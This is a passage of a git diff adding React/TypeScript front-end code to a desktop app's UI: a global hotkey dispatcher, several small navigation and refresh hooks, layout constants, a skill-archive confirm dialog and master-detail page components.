+import { comboAllowedInInput, comboFromEvent, isEditableTarget } from '@/lib/keybinds/combo'
+import { composerFocusKeysAllowed, isComposerFocusSoftCombo, typeToFocusChar } from '@/lib/keybinds/composer-focus-keys'
+import { openWorktreeDialog } from '@/store/coding-status'
+import { toggleCommandPalette } from '@/store/command-palette'
+import {
+  $findInPage,
+  findNext as findNextMatch,
+  findPrevious as findPreviousMatch,
+  openFindBar
+} from '@/store/find-in-page'
+import { $capture, $comboIndex, endCapture, setBinding } from '@/store/keybinds'
+import {
+  requestSessionSearchFocus,
+  setFileBrowserOpen,
+  toggleFileBrowserOpen,
+  togglePanesFlipped,
+  toggleSidebarOpen
+} from '@/store/layout'
+import {
+  $newChatProfile,
+  cycleProfile,
+  requestProfileCreate,
+  switchProfileToSlot,
+  switchToDefaultProfile,
+  toggleShowAllProfiles
+} from '@/store/profile'
+import { openFolderAsProject } from '@/store/projects'
+import { toggleReview } from '@/store/review'
+import { $selectedStoredSessionId, setModelPickerOpen } from '@/store/session'
+import { reopenLastClosedTile } from '@/store/session-states'
+import {
+  $switcherOpen,
+  closeSwitcher,
+  commitOnCtrlUp,
+  onSwitcherTabDown,
+  onSwitcherTabUp,
+  openOrAdvanceSwitcher,
+  slotSessionId,
+  switcherActive,
+  switcherJustClosed
+} from '@/store/session-switcher'
+import { toggleStatusbarVisible } from '@/store/statusbar-prefs'
+import { openNewWindow } from '@/store/windows'
+import { useTheme } from '@/themes/context'
+
+import { requestComposerFocus, requestModelMenuToggle, requestVoiceToggle } from '../chat/composer/focus'
+import { openSession } from '../open-session'
+import {
+  $workspaceIsPage,
+  AGENTS_ROUTE,
+  ARTIFACTS_ROUTE,
+  CRON_ROUTE,
+  MESSAGING_ROUTE,
+  navigateToWorkspacePage,
+  NEW_CHAT_ROUTE,
+  PROFILES_ROUTE,
+  sessionRoute,
+  SETTINGS_ROUTE,
+  SKILLS_ROUTE
+} from '../routes'
+
+export interface KeybindRuntimeDeps {
+  /** Open/close the command center overlay (sessions / system / usage). */
+  toggleCommandCenter: () => void
+  /** Drop to a fresh new-session draft. */
+  startFreshSession: () => void
+  /** Open a fresh session as a tab in the main zone (⌘T), leaving the primary. */
+  openNewSessionTab: () => void
+  /** Pin/unpin the active session. */
+  toggleSelectedPin: () => void
+}
+
+type HandlerMap = Record<string, () => void>
+
+// Mount once near the top of the app. Owns the single global keydown listener
+// for every rebindable hotkey: it runs the matched action, or — while capture
+// mode is active (edit overlay / panel rebind) — records the pressed combo.
+export function useKeybinds(deps: KeybindRuntimeDeps): void {
+  const navigate = useNavigate()
+  const { resolvedMode, setMode } = useTheme()
+
+  // Keep the latest closures without re-subscribing the listener.
+  const handlersRef = useRef<HandlerMap>({})
+  const commitSwitcherRef = useRef<() => void>(() => {})
+
+  const profileSwitchHandlers: HandlerMap = {}
+
+  // A tab key that lands on the WORKSPACE tab while a full page (skills /
+  // messaging / artifacts / a plugin route) covers it must also route back to
+  // the chat: the workspace pane is already the zone's active tab behind the
+  // page, so fronting it alone changes nothing on screen and the key reads
+  // dead. Mirrors `openSession`'s full-page rule — only a route change puts
+  // the chat back.
+  const leavePageForWorkspaceChat = (paneId: null | string) => {
+    if (paneId === 'workspace' && $workspaceIsPage.get()) {
+      const selected = $selectedStoredSessionId.get()
+
+      navigate(selected ? sessionRoute(selected) : NEW_CHAT_ROUTE)
+    }
+  }
+
+  for (let slot = 1; slot <= PROFILE_SLOT_COUNT; slot += 1) {
+    // ⌘1…⌘9 switch the FOCUSED zone's tab when it's a real tab strip; only a
+    // single-pane (or unfocused) layout falls through to the profile switch.
+    profileSwitchHandlers[`profile.switch.${slot}`] = () => {
+      const pane = activateTreeTabSlot(slot)
+
+      if (pane) {
+        leavePageForWorkspaceChat(pane)
+      } else {
+        switchProfileToSlot(slot)
+      }
+    }
+  }
+
+  const goToSession = (sessionId: null | string) => {
+    if (sessionId) {
+      openSession(sessionId, navigate)
+    }
+  }
+
+  // ^N jumps straight to the Nth recent session and dismisses the switcher.
+  const sessionSlotHandlers: HandlerMap = {}
+
+  for (let slot = 1; slot <= SESSION_SLOT_COUNT; slot += 1) {
+    sessionSlotHandlers[`session.slot.${slot}`] = () => {
+      closeSwitcher()
+      goToSession(slotSessionId(slot))
+    }
+  }
+
+  commitSwitcherRef.current = () => goToSession(commitOnCtrlUp())
+
+  const stepSession = (direction: 1 | -1) => {
+    onSwitcherTabDown()
+    goToSession(openOrAdvanceSwitcher(direction))
+  }
+
+  // ⌃Tab cycles the focused session/main tab strip; only a non-tabbed focus
+  // falls through to the recent-session switcher. Landing on the workspace
+  // under a full page routes back to the chat (same as ⌘1).
+  const cycleTab = (direction: 1 | -1) => {
+    const pane = cycleTreeTabInFocusedZone(direction)
+
+    if (pane) {
+      leavePageForWorkspaceChat(pane)
+    } else {
+      stepSession(direction)
+    }
+  }
+
+  const showFiles = () => {
+    setFileBrowserOpen(true)
+    setTerminalTakeover(false)
+  }
+
+  handlersRef.current = {
+    'keybinds.openPanel': () => navigate(`${SETTINGS_ROUTE}?tab=keybinds`),
+
+    'composer.focus': () => requestComposerFocus('active'),
+    // Toggle the composer pill's live model dropdown (pane under the pointer,
+    // else active composer); no chat surface on screen → the full dialog.
+    'composer.modelPicker': () => {
+      if (!requestModelMenuToggle()) {
+        setModelPickerOpen(true)
+      }
+    },
+    'composer.voice': requestVoiceToggle,
+
+    'nav.commandPalette': toggleCommandPalette,
+    'nav.commandCenter': deps.toggleCommandCenter,
+    'nav.settings': () => navigate(SETTINGS_ROUTE),
+    'nav.profiles': () => navigate(PROFILES_ROUTE),
+    'nav.skills': () => navigateToWorkspacePage(navigate, SKILLS_ROUTE),
+    'nav.messaging': () => navigateToWorkspacePage(navigate, MESSAGING_ROUTE),
+    'nav.artifacts': () => navigateToWorkspacePage(navigate, ARTIFACTS_ROUTE),
+    'nav.cron': () => navigate(CRON_ROUTE),
+    'nav.agents': () => navigate(AGENTS_ROUTE),
+
+    'session.new': () => {
+      // Match the sidebar New Session button. A plain keyboard new chat should
+      // target the current live profile, not a stale per-profile quick-create
+      // selection from a prior action.
+      $newChatProfile.set(null)
+      deps.startFreshSession()
+      window.dispatchEvent(new CustomEvent('clawcodex:new-session-shortcut'))
+    },
+    'session.newTab': () => deps.openNewSessionTab(),
+    'session.newWindow': () => void openNewWindow(),
+    'session.next': () => cycleTab(1),
+    'session.prev': () => cycleTab(-1),
+    ...sessionSlotHandlers,
+    'session.focusSearch': requestSessionSearchFocus,
+    'session.togglePin': deps.toggleSelectedPin,
+    // openWorktreeDialog resolves the target. There is no test for a repo
+    // here, so the key works from a detached session that sits inside a
+    // project, and not only from a session with a repo. When no repo is in
+    // reach, openWorktreeDialog does nothing.
+    'workspace.newWorktree': () => void openWorktreeDialog(),
+    // ⌘O: native folder picker → open the folder as a project (upsert) with a
+    // fresh session anchored there.
+    'workspace.openFolder': () => void openFolderAsProject(),
+
+    // Narrow-viewport reveal is handled inside the store toggles now.
+    'view.toggleSidebar': toggleSidebarOpen,
+    // ⌘J toggles the right sidebar — but a layout with no right side (e.g.
+    // terminal-on-bottom) would leave it a dead key, so it falls back to the
+    // terminal there. The single "secondary panel" toggle.
+    'view.toggleRightSidebar': () =>
+      layoutHasRootSide('right') ? toggleFileBrowserOpen() : togglePaneVisible('terminal'),
+    'view.toggleReview': toggleReview,
+    'view.toggleStatusbar': toggleStatusbarVisible,
+    'view.showFiles': showFiles,
+    'view.showTerminal': () => togglePaneVisible('terminal'),
+    // Create first so the pane's open-effect ensure sees a non-empty set and
+    // doesn't also spawn one — net effect is exactly one fresh terminal.
+    'view.newTerminal': () => {
+      createTerminal()
+      setTerminalTakeover(true)
+    },
+    // Switch / close only act while the terminal is actually ON SCREEN — ask
+    // the tree, not the toggle store (which stays true behind a stacked
+    // sibling tab or a minimized zone).
+    'view.nextTerminal': () => isPaneVisible('terminal') && cycleTerminal(1),
+    'view.prevTerminal': () => isPaneVisible('terminal') && cycleTerminal(-1),
+    'view.closeTerminal': () => isPaneVisible('terminal') && closeActiveTerminal(),
+    'view.flipPanes': togglePanesFlipped,
+    // ⌘W: close the focused tab (terminal / preview target / zone tree tab).
+    // On the main tab with session tabs stacked, it shifts the next one in —
+    // the loader navigates to that session's route (loads it into main). On
+    // macOS the menu accelerator owns ⌘W and routes through the same
+    // closeActiveTab via IPC (see use-desktop-integrations); this binding is
+    // the Win/Linux path where ⌘W reaches the renderer directly.
+    'view.closeTab': () => void closeActiveTab(id => navigate(sessionRoute(id))),
+    'view.reopenTab': reopenLastClosedTile,
+    'view.findInPage': openFindBar,
+    // ⌘G / ⌘⇧G are handled by the find bar's own capture-phase listener while
+    // it is open (so they don't collide with `view.toggleReview`). These
+    // registry handlers cover a user-assigned dedicated chord: stepping is a
+    // no-op unless the bar is open with a query, so a bound key can't search
+    // invisibly.
+    'view.findNext': findNextMatch,
+    'view.findPrevious': findPreviousMatch,
+
+    'appearance.toggleMode': () => setMode(resolvedMode === 'dark' ? 'light' : 'dark'),
+
+    'profile.default': switchToDefaultProfile,
+    ...profileSwitchHandlers,
+    'profile.next': () => cycleProfile(1),
+    'profile.prev': () => cycleProfile(-1),
+    'profile.toggleAll': toggleShowAllProfiles,
+    'profile.create': requestProfileCreate
+  }
+
+  // A keyboard-driven overlay closing hands typing back to the composer: Radix
+  // restores focus to the trigger (a toolbar button for the model pill), so
+  // without this the Enter that committed a model also eats the next keystroke.
+  // Deferred one frame and skipped when something else editable has claimed
+  // focus, because a palette action can legitimately open a dialog or navigate
+  // — the release must never steal focus from the surface it just opened.
+  useEffect(
+    () =>
+      onReleaseTypingFocus(() =>
+        requestAnimationFrame(() => {
+          if (!isEditableTarget(document.activeElement)) {
+            requestComposerFocus('active')
+          }
+        })
+      ),
+    []
+  )
+
+  useEffect(() => {
+    const onKeyDown = (event: KeyboardEvent) => {
+      // Capture mode: the next real key becomes the binding. Swallow everything
+      // so e.g. ⌘K rebinds instead of opening the palette.
+      const capturing = $capture.get()
+
+      if (capturing) {
+        event.preventDefault()
+        event.stopPropagation()
+
+        if (event.key === 'Escape') {
+          endCapture()
+
+          return
+        }
+
+        const combo = comboFromEvent(event)
+
+        if (!combo) {
+          return
+        }
+
+        setBinding(capturing, [combo])
+        endCapture()
+
+        return
+      }
+
+      // While the session switcher is up, Esc abandons it (stay put) before any
+      // combo dispatch — ⌃Tab keeps stepping through the existing handler.
+      if (switcherActive() && event.key === 'Escape') {
+        event.preventDefault()
+        event.stopPropagation()
+        closeSwitcher()
+
+        return
+      }
+
+      const combo = comboFromEvent(event)
+
+      if (!combo) {
+        return
+      }
+
+      // The open find bar owns ⌘G / ⌘⇧G / Escape. Its own capture-phase
+      // listener runs those actions; bail here so the registry doesn't ALSO
+      // fire the action bound to the same combo (⌘G = view.toggleReview,
+      // Escape = composer.cancel, which would abort a live turn). Both
+      // listeners are on `window`, so stopPropagation in the bar can't
+      // suppress this one — the dispatcher has to yield explicitly.
+      if ($findInPage.get().active && findBarClaimsCombo(combo)) {
+        return
+      }
+
+      const actionId = $comboIndex.get().get(combo)
+
+      // Unbound printable → type-to-focus. Bound chords (shift+n, …) win above.
+      if (!actionId) {
+        const typeChar = typeToFocusChar(event)
+
+        if (typeChar && composerFocusKeysAllowed(event, 'type')) {
+          event.preventDefault()
+          requestComposerFocus('active', { typeChar })
+        }
+
+        return
+      }
+
+      if (isEditableTarget(event.target) && !comboAllowedInInput(combo)) {
+        return
+      }
+
+      // Soft `/` / Enter: gated so dialogs/buttons/terminal keep those keys.
+      // Rebound chords fall through to the normal handler.
+      if (actionId === 'composer.focus' && isComposerFocusSoftCombo(combo)) {
+        if (!composerFocusKeysAllowed(event, combo)) {
+          return
+        }
+
+        event.preventDefault()
+        requestComposerFocus('active', { typeChar: combo === '/' ? '/' : undefined })
+
+        return
+      }
+
+      // Built-in handlers first (they carry React context); contributed
+      // actions bring their own `run` through the registry.
+      const handler = handlersRef.current[actionId] ?? contributedKeybindHandler(actionId)
+
+      if (!handler) {
+        return
+      }
+
+      event.preventDefault()
+      handler()
+    }
+
+    // Mac-app-switcher commit: lifting Ctrl with the overlay open lands on the
+    // highlighted session. A window blur (Cmd+Tab away mid-switch) cancels so
+    // the overlay never gets stranded waiting for a keyup that never comes.
+    const onKeyUp = (event: KeyboardEvent) => {
+      if (event.key === 'Tab') {
+        onSwitcherTabUp()
+      }
+
+      if (event.key === 'Control') {
+        commitSwitcherRef.current()
+      }
+    }
+
+    const onBlur = () => switcherActive() && closeSwitcher()
+
+    // Swallow trailing contextmenu after Ctrl+click commit (Electron main menu).
+    const onContextMenu = (event: MouseEvent) => {
+      if ($switcherOpen.get() || switcherJustClosed()) {
+        event.preventDefault()
+        event.stopPropagation()
+      }
+    }
+
+    window.addEventListener('keydown', onKeyDown, { capture: true })
+    window.addEventListener('keyup', onKeyUp, { capture: true })
+    window.addEventListener('blur', onBlur)
+    window.addEventListener('contextmenu', onContextMenu, { capture: true })
+
+    return () => {
+      window.removeEventListener('keydown', onKeyDown, { capture: true })
+      window.removeEventListener('keyup', onKeyUp, { capture: true })
+      window.removeEventListener('blur', onBlur)
+      window.removeEventListener('contextmenu', onContextMenu, { capture: true })
+    }
+  }, [])
+}
diff --git a/ui-desktop/src/app/hooks/use-on-profile-switch.ts b/ui-desktop/src/app/hooks/use-on-profile-switch.ts
new file mode 100644
index 000000000..dfdfd84f2
--- /dev/null
+++ b/ui-desktop/src/app/hooks/use-on-profile-switch.ts
@@ -0,0 +1,25 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef } from 'react'
+
+import { $activeGatewayProfile } from '@/store/profile'
+
+/** Run `onSwitch` when the active gateway profile changes — never on first
+ *  mount. For dropping per-profile view state (probes, cached usage, drafts)
+ *  when the backend the app talks to swaps underneath a still-mounted view. */
+export function useOnProfileSwitch(onSwitch: () => void): void {
+  const profile = useStore($activeGatewayProfile)
+  const first = useRef(true)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (first.current) {
+      first.current = false
+
+      return
+    }
+
+    onSwitch()
+    // Fire on profile change only; onSwitch identity is intentionally ignored.
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [profile])
+}
diff --git a/ui-desktop/src/app/hooks/use-refresh-hotkey.ts b/ui-desktop/src/app/hooks/use-refresh-hotkey.ts
new file mode 100644
index 000000000..3e1490e41
--- /dev/null
+++ b/ui-desktop/src/app/hooks/use-refresh-hotkey.ts
@@ -0,0 +1,45 @@
+import { useEffect, useRef } from 'react'
+
+/**
+ * Binds the bare `r` key to a refresh action while the calling view is mounted.
+ * Ignored when a modifier is held, the event repeats, or focus is in an
+ * editable field (so typing "r" in a search/input never triggers it).
+ */
+export function useRefreshHotkey(onRefresh: () => void, enabled = true) {
+  const ref = useRef(onRefresh)
+  ref.current = onRefresh
+
+  useEffect(() => {
+    if (!enabled) {
+      return
+    }
+
+    const onKeyDown = (event: KeyboardEvent) => {
+      if (event.key !== 'r' && event.key !== 'R') {
+        return
+      }
+
+      if (event.metaKey || event.ctrlKey || event.altKey || event.shiftKey || event.repeat) {
+        return
+      }
+
+      const target = event.target as HTMLElement | null
+
+      if (
+        target?.isContentEditable ||
+        target instanceof HTMLInputElement ||
+        target instanceof HTMLTextAreaElement ||
+        target instanceof HTMLSelectElement
+      ) {
+        return
+      }
+
+      event.preventDefault()
+      ref.current()
+    }
+
+    window.addEventListener('keydown', onKeyDown)
+
+    return () => window.removeEventListener('keydown', onKeyDown)
+  }, [enabled])
+}
diff --git a/ui-desktop/src/app/hooks/use-route-enum-param.ts b/ui-desktop/src/app/hooks/use-route-enum-param.ts
new file mode 100644
index 000000000..ecef99cd6
--- /dev/null
+++ b/ui-desktop/src/app/hooks/use-route-enum-param.ts
@@ -0,0 +1,38 @@
+import { useCallback, useMemo } from 'react'
+import { useLocation, useNavigate } from 'react-router'
+
+// Read/write an enum-shaped URL search param (e.g. ?tab=foo). Used to make
+// tabbed views survive a refresh. Always navigates with replace so tab clicks
+// don't pile up in history.
+export function useRouteEnumParam<T extends string>(
+  key: string,
+  values: readonly T[],
+  fallback: T
+): [T, (next: T) => void] {
+  const { hash, pathname, search } = useLocation()
+  const navigate = useNavigate()
+
+  const value = useMemo<T>(() => {
+    const raw = new URLSearchParams(search).get(key)
+
+    return raw && values.includes(raw as T) ? (raw as T) : fallback
+  }, [fallback, key, search, values])
+
+  const setValue = useCallback(
+    (next: T) => {
+      const params = new URLSearchParams(search)
+
+      if (next === fallback) {
+        params.delete(key)
+      } else {
+        params.set(key, next)
+      }
+
+      const qs = params.toString()
+      navigate({ hash, pathname, search: qs ? `?${qs}` : '' }, { replace: true })
+    },
+    [fallback, hash, key, navigate, pathname, search]
+  )
+
+  return [value, setValue]
+}
diff --git a/ui-desktop/src/app/hooks/use-route-overlay-active.ts b/ui-desktop/src/app/hooks/use-route-overlay-active.ts
new file mode 100644
index 000000000..95db2f552
--- /dev/null
+++ b/ui-desktop/src/app/hooks/use-route-overlay-active.ts
@@ -0,0 +1,19 @@
+import { useLocation } from 'react-router'
+
+import { appViewForPath, isOverlayView } from '@/app/routes'
+
+/**
+ * True while a full-screen route overlay (settings, agents, command-center, …)
+ * is showing.
+ *
+ * A portaled Radix modal sits above the app shell, so it would cover such a
+ * route. Any modal that sends the user to one (e.g. "set up image generation" →
+ * `/settings`) can `if (useRouteOverlayActive()) return null` to *yield* the
+ * screen — its open state lives in a store, so it stays open — and reappear,
+ * re-running its mount effects (a free refresh), when the route overlay closes.
+ */
+export function useRouteOverlayActive(): boolean {
+  const { pathname } = useLocation()
+
+  return isOverlayView(appViewForPath(pathname))
+}
diff --git a/ui-desktop/src/app/index.tsx b/ui-desktop/src/app/index.tsx
new file mode 100644
index 000000000..a1dc8140b
--- /dev/null
+++ b/ui-desktop/src/app/index.tsx
@@ -0,0 +1,6 @@
+// The app root is the contribution-driven shell: panes, titlebar/statusbar
+// items, keybinds, palette commands, routes, and themes all register through
+// the contribution registry (src/contrib) — core surfaces use the same calls
+// plugins do. Everything lives under ./contrib: the wiring (gateway boot,
+// sessions, streams) + pane surfaces, and the pane/layout registration.
+export { ContribController as default } from './contrib'
diff --git a/ui-desktop/src/app/layout-constants.ts b/ui-desktop/src/app/layout-constants.ts
new file mode 100644
index 000000000..8799a8885
--- /dev/null
+++ b/ui-desktop/src/app/layout-constants.ts
@@ -0,0 +1,25 @@
+// Responsive horizontal gutter for primary content bodies (settings right side,
+// skills, artifacts, command center / sessions). Ratio-based so it scales with
+// the window, but clamped so it never collapses on narrow widths or runs away
+// on ultrawide displays. Headers/tabs intentionally keep their own tighter
+// padding.
+//
+// NOTE: these must stay literal strings — Tailwind's scanner only picks up
+// complete class names, so do not build them via template interpolation.
+export const PAGE_INSET_X = 'px-[clamp(1.25rem,4vw,4rem)]'
+
+// Matching negative inline-margin to bleed an element (e.g. a sticky header bar)
+// out to the gutter edges before re-applying PAGE_INSET_X.
+export const PAGE_INSET_NEG_X = '-mx-[clamp(1.25rem,4vw,4rem)]'
+
+// Readable cap for overlay "inner page" bodies (settings, command center). Wide
+// enough to breathe, tight enough that content doesn't sprawl on ultrawide
+// displays. Pair with `mx-auto w-full` to center within the pane. Literal string
+// for Tailwind's scanner (see PAGE_INSET_X note).
+export const PAGE_MAX_W = 'max-w-[75rem]'
+
+// Below this viewport width a docked sidebar leaves no room for content, so both
+// rails auto-collapse into the hover-reveal overlay. Single source of truth for
+// the responsive collapse point.
+export const SIDEBAR_COLLAPSE_BREAKPOINT_PX = 768
+export const SIDEBAR_COLLAPSE_MEDIA_QUERY = `(max-width: ${SIDEBAR_COLLAPSE_BREAKPOINT_PX}px)`
diff --git a/ui-desktop/src/app/learning/archive-skill-confirm-dialog.tsx b/ui-desktop/src/app/learning/archive-skill-confirm-dialog.tsx
new file mode 100644
index 000000000..9db5969eb
--- /dev/null
+++ b/ui-desktop/src/app/learning/archive-skill-confirm-dialog.tsx
@@ -0,0 +1,74 @@
+import { deleteLearningNode } from '@/clawcodex'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import { type Translations, useI18n } from '@/i18n'
+import { notify } from '@/store/notifications'
+
+export const ARCHIVE_SKILL_DESCRIPTION = 'The skill is archived and can be restored with `clawcodex curator restore`.'
+
+export function notifySkillArchived(t: Translations): void {
+  notify({ kind: 'success', message: t.skills.skillArchivedMessage, title: t.skills.skillArchivedTitle })
+}
+
+export async function archiveLearningSkill(id: string): Promise<void> {
+  const res = await deleteLearningNode(id)
+
+  if (!res.ok) {
+    throw new Error(res.message || 'Archive failed')
+  }
+}
+
+/** Fire-and-forget a mutation whose UI already applied optimistically; a failure just rolls it back + reports. */
+export function fireOptimistic(action: Promise<void>, rollback: () => void, onFailure: (err: unknown) => void): void {
+  void action.catch(err => {
+    rollback()
+    onFailure(err)
+  })
+}
+
+interface ArchiveSkillConfirmDialogProps {
+  /** Apply optimistic UI updates; return rollback if the background archive fails. */
+  onApply: () => () => void
+  onClose: () => void
+  onFailure?: (err: unknown, skillName: string) => void
+  onSuccess?: () => void
+  open: boolean
+  skillId: string
+  skillName: string
+}
+
+/** Shared archive confirm for learned skills (capabilities page + memory graph). */
+export function ArchiveSkillConfirmDialog({
+  onApply,
+  onClose,
+  onFailure,
+  onSuccess,
+  open,
+  skillId,
+  skillName
+}: ArchiveSkillConfirmDialogProps) {
+  const { t } = useI18n()
+
+  return (
+    <ConfirmDialog
+      confirmLabel="Archive"
+      description={ARCHIVE_SKILL_DESCRIPTION}
+      destructive
+      dismissOnConfirm
+      onClose={onClose}
+      onConfirm={() => {
+        const rollback = onApply()
+
+        fireOptimistic(
+          archiveLearningSkill(skillId).then(() => {
+            notifySkillArchived(t)
+            onSuccess?.()
+          }),
+          rollback,
+          err => onFailure?.(err, skillName)
+        )
+      }}
+      open={open}
+      title={`Archive ${skillName}?`}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/master-detail.tsx b/ui-desktop/src/app/master-detail.tsx
new file mode 100644
index 000000000..097aa9fb3
--- /dev/null
+++ b/ui-desktop/src/app/master-detail.tsx
@@ -0,0 +1,406 @@
+import { useStore } from '@nanostores/react'
+import { type ReactNode, type PointerEvent as ReactPointerEvent, useEffect, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger } from '@/components/ui/dropdown-menu'
+import { RowButton } from '@/components/ui/row-button'
+import { Switch } from '@/components/ui/switch'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+import { $paneHeightOverride, $paneState, setPaneHeightOverride } from '@/store/panes'
+
+// Monospace capability chip (tool name, transport, …). Shared by the Skills
+// and MCP tabs so the pill reads identically everywhere.
+export function ToolChip({ children, title }: { children: ReactNode; title?: string }) {
+  return (
+    <span
+      className="rounded-md bg-(--ui-bg-quinary) px-1.5 py-0.5 font-mono text-[0.65rem] text-(--ui-text-tertiary)"
+      title={title}
+    >
+      {children}
+    </span>
+  )
+}
+
+// Master–detail page scaffolding (14rem rail, p-2, centered max-w-2xl detail):
+// dense uniform rows on the left, roomy inspector on the right. Shared by the
+// Capabilities and Messaging pages — pages bring their own row/detail content
+// (CapRow here is the toggle-row flavor; Messaging has its own avatar rows).
+
+// `pane` docks a full-bleed work surface (editor, log viewer, terminal) below
+// the whole master–detail grid — the app's bottom-pane pattern, page-local.
+// The wide-rail track shared by every Capabilities tab (skills/tools/mcp) so
+// the three read as one page. Exported for pages that build their own grid
+// (the MCP tab's cursor-driven layout) but must stay in step.
+export const MASTER_DETAIL_WIDE_COLS = 'sm:grid-cols-[minmax(0,0.75fr)_minmax(0,1fr)]'
+
+// `split="wide"` gives list-heavy pages a rail that shares the page with a
+// sparse detail (skills/tools/mcp); the default 14rem rail suits pages whose
+// detail carries the weight (messaging).
+export function MasterDetail({
+  children,
+  pane,
+  split = 'rail'
+}: {
+  children: ReactNode
+  pane?: ReactNode
+  split?: 'rail' | 'wide'
+}) {
+  return (
+    <div className="flex h-full min-h-0 flex-col">
+      <div
+        className={cn(
+          'grid min-h-0 flex-1 grid-cols-1',
+          split === 'wide' ? MASTER_DETAIL_WIDE_COLS : 'sm:grid-cols-[14rem_minmax(0,1fr)]'
+        )}
+      >
+        {children}
+      </div>
+      {pane}
+    </div>
+  )
+}
+
+export function ListColumn({ children, header }: { children: ReactNode; header?: ReactNode }) {
+  return (
+    <aside className="flex min-h-0 flex-col p-2">
+      {header}
+      <div className="min-h-0 flex-1 overflow-y-auto overscroll-contain [scrollbar-gutter:stable]">{children}</div>
+    </aside>
+  )
+}
+
+// `footer` pins one quiet caption below the scroll (e.g. "changes apply to
+// new sessions") so per-item detail components never repeat it themselves.
+// `actionBar` pins a real control row (save/toggle) below the scroll instead.
+export function DetailColumn({
+  actionBar,
+  children,
+  footer
+}: {
+  actionBar?: ReactNode
+  children: ReactNode
+  footer?: ReactNode
+}) {
+  return (
+    <main className="flex min-h-0 flex-col overflow-hidden">
+      <div className="min-h-0 flex-1 overflow-y-auto overscroll-contain [scrollbar-gutter:stable]">
+        <div className="mx-auto max-w-2xl space-y-5 px-5 py-4">{children}</div>
+      </div>
+      {footer && (
+        <div className="mx-auto w-full max-w-2xl shrink-0 px-5 pb-3 pt-1.5 text-right text-[0.65rem] text-muted-foreground/50">
+          {footer}
+        </div>
+      )}
+      {actionBar && (
+        <footer className="shrink-0 bg-(--ui-chat-surface-background) px-5 py-2.5">
+          <div className="mx-auto flex max-w-2xl flex-wrap items-center gap-2">{actionBar}</div>
+        </footer>
+      )}
+    </main>
+  )
+}
+
+// Full-bleed docked bottom pane: title strip + actions + close, drag-resizable
+// on its top edge like every other pane (height persisted through the same
+// pane-state store the terminal uses). No min height — drag (or the chevron)
+// collapses it down to just the header. Content swaps freely: JSON editor
+// today, stdio/log viewers tomorrow.
+const DETAIL_PANE_DEFAULT_BODY_PX = 288
+const DETAIL_PANE_MAX_VH = 0.7
+const DETAIL_PANE_COLLAPSED_PX = 4
+
+// Ghost icon-button on the kebab-trigger scale (pane headers, list-strip menu,
+// per-server MCP actions, JSON editor format button). MUST stay a class string
+// (not a CSS @utility): the leading `size-5` is what tailwind-merge uses to
+// strip <Button size="icon">'s larger built-in size — a custom utility class
+// isn't size-merge-aware, so Button's icon size would leak and blow it up.
+// Compose extra state (data-[state=open], hover:text-destructive) with cn().
+export const ICON_BUTTON =
+  'size-5 cursor-pointer rounded-[4px] text-muted-foreground/70 hover:bg-(--ui-control-active-background) hover:text-foreground'
+
+export function DetailPane({
+  actions,
+  children,
+  defaultCollapsed = false,
+  defaultHeight = DETAIL_PANE_DEFAULT_BODY_PX,
+  id,
+  onClose,
+  title
+}: {
+  actions?: ReactNode
+  children: ReactNode
+  /** Start collapsed to the header the first time this pane is ever shown.
+   *  Only seeds when the id has no saved state — a later expand/collapse
+   *  persists and wins, so it's "collapsed by default", not "always collapsed". */
+  defaultCollapsed?: boolean
+  /** Default body height in px (before any user resize). */
+  defaultHeight?: number
+  /** Pane-store key — height overrides persist under it. */
+  id: string
+  /** Omit for permanent panes (collapsible to the header, never removed). */
+  onClose?: () => void
+  title: ReactNode
+}) {
+  const { t } = useI18n()
+  const override = useStore($paneHeightOverride(id))
+
+  useEffect(() => {
+    if (defaultCollapsed && $paneState(id).get() === undefined) {
+      setPaneHeightOverride(id, 0)
+    }
+  }, [defaultCollapsed, id])
+
+  const height = override ?? defaultHeight
+  const collapsed = height <= DETAIL_PANE_COLLAPSED_PX
+  // Sash drag mirrors the shell's y-axis pane resize: pointer capture on the
+  // top edge, clamped to [0, 70vh]; double-click resets to the default.
+  const [dragging, setDragging] = useState(false)
+
+  const startDrag = (event: ReactPointerEvent<HTMLDivElement>) => {
+    event.preventDefault()
+    const startY = event.clientY
+    const startHeight = height
+    const max = Math.round(window.innerHeight * DETAIL_PANE_MAX_VH)
+    setDragging(true)
+
+    const onMove = (move: globalThis.PointerEvent) => {
+      setPaneHeightOverride(id, Math.min(max, Math.max(0, Math.round(startHeight + (startY - move.clientY)))))
+    }
+
+    const onUp = () => {
+      window.removeEventListener('pointermove', onMove)
+      setDragging(false)
+    }
+
+    window.addEventListener('pointermove', onMove)
+    window.addEventListener('pointerup', onUp, { once: true })
+  }
+
+  return (
+    <section className="relative flex shrink-0 flex-col border-t border-(--ui-stroke-tertiary) bg-(--ui-chat-surface-background)">
+      <div
+        className="group/sash absolute inset-x-0 top-0 z-10 h-1 -translate-y-1/2 cursor-row-resize"
+        onDoubleClick={() => setPaneHeightOverride(id, undefined)}
+        onPointerDown={startDrag}
+      >
+        <div
+          className={cn(
+            'absolute inset-x-0 top-1/2 h-px -translate-y-1/2 transition-colors',
+            dragging ? 'bg-(--ui-stroke-secondary)' : 'group-hover/sash:bg-(--ui-stroke-secondary)'
+          )}
+        />
+      </div>
+      <header className="flex h-9 shrink-0 items-center gap-2 px-3">
+        <span className="min-w-0 truncate text-xs font-medium text-foreground">{title}</span>
+        <div className="ml-auto flex shrink-0 items-center gap-1.5">
+          {actions}
+          <Tip label={collapsed ? t.common.expand : t.common.collapse}>
+            <Button
+              aria-expanded={!collapsed}
+              aria-label={collapsed ? t.common.expand : t.common.collapse}
+              className={ICON_BUTTON}
+              onClick={() => setPaneHeightOverride(id, collapsed ? undefined : 0)}
+              size="icon"
+              variant="ghost"
+            >
+              <Codicon name={collapsed ? 'chevron-up' : 'chevron-down'} size="0.8125rem" />
+            </Button>
+          </Tip>
+          {onClose && (
+            <Button aria-label={t.common.close} className={ICON_BUTTON} onClick={onClose} size="icon" variant="ghost">
+              <Codicon name="close" size="0.8125rem" />
+            </Button>
+          )}
